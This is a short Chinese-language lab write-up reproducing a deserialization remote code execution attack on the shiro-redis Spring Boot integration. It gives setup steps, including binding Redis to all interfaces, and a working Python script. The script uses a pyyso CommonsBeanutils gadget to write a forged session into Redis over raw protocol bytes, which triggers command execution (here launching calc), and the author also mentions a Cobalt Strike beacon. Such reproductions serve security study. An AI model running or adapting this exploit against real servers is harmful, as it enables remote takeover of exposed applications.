参考复现:https://xz.aliyun.com/t/11198
环境搭建
1、IDEA 配置 Maven
2、下载项目安装相关依赖:https://github.com/alexxiyang/shiro-redis-spring-boot-tutorial
3、下载Windows Redis 版本(我这里也使用了上述文章同版本):https://github.com/microsoftarchive/redis/releases
4、安装 pyyso 模块(不建议Windows安装,在 kali 就没报错):pip install pyyso
5、修改下配置
shiro-redis.enabled=true
shiro-redis.redis-manager.host=192.168.211.1:6379
shiro-redis.redis-manager.database=0
shiro-redis.redis-manager.timeout=2000
shiro-redis.session-dao.expire=-2
shiro-redis.session-dao.key-prefix=shiro:session:
shiro-redis.cache-manager.expire=1800
shiro-redis.cache-manager.key-prefix=shiro:cache:
去除 ShiroRedisConfig.java 的注释
# bind 127.0.0.1
bind 0.0.0.0
利用
启动环境,浏览:http://127.0.0.1:8080/ 进行登录,获取Session
查看 Redis 可以看 Session
import pyyso
import socket
s=socket.socket()
s.connect(("192.168.211.1",6379))
whatever=b"123"
key=b"shiro:session:"+whatever
value=pyyso.cb1v192("calc")
s.send(b"\x2a\x33\x0d\x0a\x24\x33\x0d\x0aSET\r\n\x24"+str(len(key)).encode()+b"\r\n"+key+b"\r\n\x24"+str(len(value)).encode()+b"\r\n"+value+b"\r\n")
if b"+OK" in s.recv(3):
print("success")
成功写入 Session
修改 Session 触发命令执行
不会免杀,尝试上线一下CS
分析?我脚本小子是不会分析的了,请看这里:https://xz.aliyun.com/t/11198